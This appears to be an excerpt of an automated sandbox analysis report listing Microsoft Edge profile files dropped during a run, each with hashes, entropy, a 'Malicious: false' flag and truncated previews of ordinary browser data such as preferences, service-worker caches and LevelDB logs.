Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375877839602752","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375877839602752","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF40b56.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558306368051718
Encrypted:	false
SSDEEP:	768:goSI1MW6H7pLGLp49W5wsaf4fy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP7bIGL/Fi:gVgMVBcp49Wasafqyu1jaWL7uYtK
MD5:	A2AF96684A7DFE45C4D9054919CC2CEF
SHA1:	5412C5FA98F82960E18EC5E1901067CC5CC18371
SHA-256:	ED8F091268D5CB59FF75C074F702C8C8809C2AFE87E368CB9DEB8613CF19BD82
SHA-512:	657EF8B85B8CADA5294D3C9707FEA0909E1C82D7C0CECABAA93CC287AF91BF469424FFB30D39ED29DE221927FA3D9E4B6B3F1DBA2B0BFDE8B9A5F8F8C3FB3F15
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375877839602752","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375877839602752","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.835523912861311
Encrypted:	false
SSDEEP:	48:F2em6DtrdDmfBOhXrdRBH+rdDJBOTrdCBOw:F1mmtxDmgxRBH+xD0xW
MD5:	61871013FCAAA23E71DA7094AE705C00
SHA1:	DC0B835FD8AC0F8712B756DFD078C3502B2C5732
SHA-256:	16A18507C18A5C2BC8231FEADB7F3FDDBCF18290984D7D9811FC2A813F02B6DA
SHA-512:	331F6C22CAAE20DB195DC5CF88677CAE852EA4D45C32F0B6A84DC95E81121ACFD80E6942B881E7839402243DC88BEBC937149EA1242AB223B752A07C34CFB852
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.X..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.134945506042996
Encrypted:	false
SSDEEP:	6:HU4HMcS1N723oH+TcwtE/a252KLlVU4HMYq2PN723oH+TcwtE/a2ZIFUv:acSaYeb8xLiYvVaYeb8J2FUv
MD5:	08EF51EC5327A2DB505FE7AA22EDF14D
SHA1:	FD4F04F46175059360A2805083959011A450C481
SHA-256:	622AC09AC4B456D9D32DBAF023062CC3D084E8E2CBE58172CA2BF10679FB642F
SHA-512:	FDB93BE2784116BBDDEBA249B8B1F06569A21C56B894917E07B6F8BBA0B704C35B4963A6A4292A8E37DF28CFDF9AC062FA5B8960E5ED374771D0F499B82F7015
Malicious:	false
Preview:	2024/11/12-04:37:34.346 1db0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/12-04:37:34.364 1db0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113657
Entropy (8bit):	5.578411005450344
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlH1V0dr4WriL/rDL/rxm:f9LyxPXfOrr1lMe1z6rWX1Qs2iL/HL/k
MD5:	9BA9E011C757A6E97730DE7797D41059
SHA1:	9EE6C1BA4039346135FC4CA21A3A04C3C9761837
SHA-256:	F8086FAB949E25241558AC8E2CD40855370944B6B317F5D0D345D4182B9127F1
SHA-512:	DEA95F760BB055148E7D3D883EA7C02988646AC8FC7D47C851B78495836523AA14D916F5478BE6B6A1D7430D38C747FA4F8E422195A93F6DD4406B9BC058CF0E
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187817
Entropy (8bit):	6.3806498755891345
Encrypted:	false
SSDEEP:	3072:aAYHj+Fo8Vw9mhNgwRnRvn2dZ4IRZBGgAjAJcL/XOBtloC4vH:PVw1wRnpkZfZYgQPL/+x4vH
MD5:	820C60BFB2030B6D37E89D9C181ED053
SHA1:	E6CAC3B1CD108F917AF1882DEC2D9BEB8A89770B
SHA-256:	40D006ED67BAE629A6B5153FCA1DE27F9414A47A16C0C6FFA1BA4FBB3CBA46CC
SHA-512:	E1C1119474813C8810B37287D8E1B77889C88FEB718443387093D071271D7DE907C227BE1FABC87071A9D136239E46AA90D4630D0FB98EC3A9759A8012A5E68E
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTP........,T.8..`,.....L`.....,T...`......L`......Rc.......exports...Rc.?......module....Rc.5p.....define....RbJO.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:gC0Xl/lrV/lxEYzhRxl:gN6cl
MD5:	F81ADACD52C4B644BC08915AEC16EC43
SHA1:	0944A79022FD5178F77D021C9B7EEF6D6E8A92BC
SHA-256:	0BAC6AECE5305EF4BA3807B14A66A438764FC3BC1B6E2CB7368A4DC98DADCEAD
SHA-512:	2AE9A8974D341AFD546F85D2DA7378E321FAC3910BEB064F2AD54EC36A7004E2962F8AB451FE9ECE8247A2723A197AD17D9C5BC2C89515EC8D499365EDF18C21
Malicious:	false
Preview:	@.....5.oy retne.........................X....,................._.@J./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:gC0Xl/lrV/lxEYzhRxl:gN6cl
MD5:	F81ADACD52C4B644BC08915AEC16EC43
SHA1:	0944A79022FD5178F77D021C9B7EEF6D6E8A92BC
SHA-256:	0BAC6AECE5305EF4BA3807B14A66A438764FC3BC1B6E2CB7368A4DC98DADCEAD
SHA-512:	2AE9A8974D341AFD546F85D2DA7378E321FAC3910BEB064F2AD54EC36A7004E2962F8AB451FE9ECE8247A2723A197AD17D9C5BC2C89515EC8D499365EDF18C21
Malicious:	false
Preview:	@.....5.oy retne.........................X....,................._.@J./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF41181.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:gC0Xl/lrV/lxEYzhRxl:gN6cl
MD5:	F81ADACD52C4B644BC08915AEC16EC43
SHA1:	0944A79022FD5178F77D021C9B7EEF6D6E8A92BC
SHA-256:	0BAC6AECE5305EF4BA3807B14A66A438764FC3BC1B6E2CB7368A4DC98DADCEAD
SHA-512:	2AE9A8974D341AFD546F85D2DA7378E321FAC3910BEB064F2AD54EC36A7004E2962F8AB451FE9ECE8247A2723A197AD17D9C5BC2C89515EC8D499365EDF18C21
Malicious:	false
Preview:	@.....5.oy retne.........................X....,................._.@J./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4979
Entropy (8bit):	3.449738636012656
Encrypted:	false
SSDEEP:	96:TdmD7NW8wd5ecp3Z/0u9Xp+wJH+di9QR5SLl9iSra1IPzXSIF0:sxWb5RN9Xp+w5qi9U5SLl9iSraA
MD5:	54C98FE6ABC1290EF4E191E12485FB10
SHA1:	2CDCF1E795489DB2D318B91D341C23FF67C67115
SHA-256:	9EC80A722DC373BFAC0139E041A04BF5102D92731705869BC984C74C1264DB50
SHA-512:	FCB4AD862AC15574E7C7C1725DDFF9BB1540681B35363847A92DF2ED5FA6E3B5E32A708E6BB1DC8FA5BD8FDE2AEEC2ACBDA88392EF4F4E96413E3A7EAB45D267
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............F.b................next-map-id.1.Cnamespace-2a7f6892_60d8_4731_82da_1d2ef1a03fef-https://ntp.msn.com/.0.....................map-0-shd_sweeper.#{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.p.o.f.l.i.o.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.c.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.p.r.g.-.1.s.w.-.s.a.e.d.g.e._.q.r.t.2.,.p.r.g.-.1.s.w.-.s.p.2.-.e.n.-.t.p.,.1.s.-.n.t.f.1.-.r.d.i.d.2.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.s.-.n.t.f.1.-.r.d.i.d.x.2.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.1.s.w.-.p.n.o.t.i.a.,.p.r.g.-.p.1.-.t.s.4.c.o.l.d.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.-.c.,.p.r.g.-.1.s.w.-.r.i.v.d.d.r.-.a.n.y.,.p.r.g.-.1.s.w.-.r.i.v.c.o.v.r.d.a.n.y.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.r.o.u.t.e.r.g.r.a.p.h.p.r.o.d.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.p.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.096220704612914
Encrypted:	false
SSDEEP:	6:HU4HXP8QL+q2PN723oH+TcwtrQMxIFUt8YU4HXN8GKWZmw+YU4HXDu5QLVkwON7E:RJ+vVaYebCFUt8gKW/+wJV5OaYebtJ
MD5:	5EC3A36AFE218963A3FE331269FD8FD3
SHA1:	0E0C9E30624E1A3E02B7E704F2941546E81D4300
SHA-256:	40755466BA5E569C959E3BB0FA39116EF5592B951474F4EF0595210407751173
SHA-512:	E6EDB29D12EE7FF92DAC899B68D129797DC7BDE85BE45DE998CFBC87275D79E5FB56A33BE19AE1007301F52A537C15AC0ECFEBED5392B688D9CE584A3AAA4B5F
Malicious:	false
Preview:	2024/11/12-04:37:20.185 1cec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/12-04:37:20.187 1cec Recovering log #3.2024/11/12-04:37:20.189 1cec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.096220704612914
Encrypted:	false
SSDEEP:	6:HU4HXP8QL+q2PN723oH+TcwtrQMxIFUt8YU4HXN8GKWZmw+YU4HXDu5QLVkwON7E:RJ+vVaYebCFUt8gKW/+wJV5OaYebtJ
MD5:	5EC3A36AFE218963A3FE331269FD8FD3
SHA1:	0E0C9E30624E1A3E02B7E704F2941546E81D4300
SHA-256:	40755466BA5E569C959E3BB0FA39116EF5592B951474F4EF0595210407751173
SHA-512:	E6EDB29D12EE7FF92DAC899B68D129797DC7BDE85BE45DE998CFBC87275D79E5FB56A33BE19AE1007301F52A537C15AC0ECFEBED5392B688D9CE584A3AAA4B5F
Malicious:	false
Preview:	2024/11/12-04:37:20.185 1cec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/12-04:37:20.187 1cec Recovering log #3.2024/11/12-04:37:20.189 1cec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375877842109657

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1470
Entropy (8bit):	3.8081348911129
Encrypted:	false
SSDEEP:	24:3Yz/K/K0rRJVP6DIpsAF4unx8tLp3X2amEtG1Chq+CUxpRqQKkOAM489:31hrFP9zFqLp2FEkChlFDHOpV
MD5:	FD78933DE07F2AF00110E8FC11642651
SHA1:	E3E070B88BFBF4715177F9518F400F301F92DAAE
SHA-256:	64112D48C6A284A3CB5197705252B310E6CD82CA0A90A04693CF747DED92F6FE
SHA-512:	1CFAAFB18010F214767E74F9FEB484D2D3A842289E1D4C07EBC4099765DE69881ADDA7D77261373E53EBD8C9312A2FBC72365CD1040B920E89764D02135E0702
Malicious:	false
Preview:	SNSS........6..............6........".6..............6..........6..........6..........6......!...6..................................6...6..1..,....6..$...2a7f6892_60d8_4731_82da_1d2ef1a03fef....6..........6..................6......6..........................6......................5..0....6..&...{46F3A197-DB49-410A-81B3-94975C835573}......6..........6..........................6..........................6..............6..........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x............&.......&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8....................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1231164258921815
Encrypted:	false
SSDEEP:	6:HU4HF1vFlWM+q2PN723oH+Tcwt7Uh2ghZIFUt8YU4HF1vFz1Zmw+YU4HFOWMVkwg:FvFlL+vVaYebIhHh2FUt86vFZ/+pLV5g
MD5:	14956C9EB72F4D460ED2BC100E13BF14
SHA1:	9A925ED166A1C4182CB4FEDC7C773E2051475D23
SHA-256:	9AB34E37412345706A43FDEF425210B1D3B111AAA6A80077DC1F339057F10E70
SHA-512:	A0343845E42CB7B5A725D52C578701D8280663E95AF65A25D2E2EF573A09B9FF82851BEE0AB3B8EAD3EBB6D9ACC54B49DC16670D42BCA1C8C188C10D06E09419
Malicious:	false
Preview:	2024/11/12-04:37:19.616 1dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/12-04:37:19.616 1dac Recovering log #3.2024/11/12-04:37:19.617 1dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1231164258921815
Encrypted:	false
SSDEEP:	6:HU4HF1vFlWM+q2PN723oH+Tcwt7Uh2ghZIFUt8YU4HF1vFz1Zmw+YU4HFOWMVkwg:FvFlL+vVaYebIhHh2FUt86vFZ/+pLV5g
MD5:	14956C9EB72F4D460ED2BC100E13BF14
SHA1:	9A925ED166A1C4182CB4FEDC7C773E2051475D23
SHA-256:	9AB34E37412345706A43FDEF425210B1D3B111AAA6A80077DC1F339057F10E70
SHA-512:	A0343845E42CB7B5A725D52C578701D8280663E95AF65A25D2E2EF573A09B9FF82851BEE0AB3B8EAD3EBB6D9ACC54B49DC16670D42BCA1C8C188C10D06E09419
Malicious:	false
Preview:	2024/11/12-04:37:19.616 1dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/12-04:37:19.616 1dac Recovering log #3.2024/11/12-04:37:19.617 1dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018238520723782249
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEjQM/:/M/xT02zhM/
MD5:	FA04C8666ED8E5246FB8BE0DA8901E44
SHA1:	87CBFB5BE75F5FF0A37618EA1772465E6C24FA8D
SHA-256:	D2DB8E7C8DFFB6D9686A9CD01C5E07904FDD2D101DA9FF1FA94FDCD4F8A4DC49
SHA-512:	42CC1428700B53B26EBDB81670E0B62B30816947CFFCFA56F3BEF30C1A0A76C49805777E9CB961C3D5BB74450A15ECAC6FF40C6C514061FC03C2FA921F2F3C9F
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.180395319358229
Encrypted:	false
SSDEEP:	12:H+vVaYebvqBQFUt8xYKW/+hV5OaYebvqBvJ:8VaYebvZg8xnJOaYebvk
MD5:	521C9112827D7B820128A83A162BE43A
SHA1:	38BDCAB88D6FD6242396DFF11CDA239920D02DD5
SHA-256:	BB9CBB169FE88283753B79CB105520C58D9894A3721E3EC72952F10F2F9D1D80
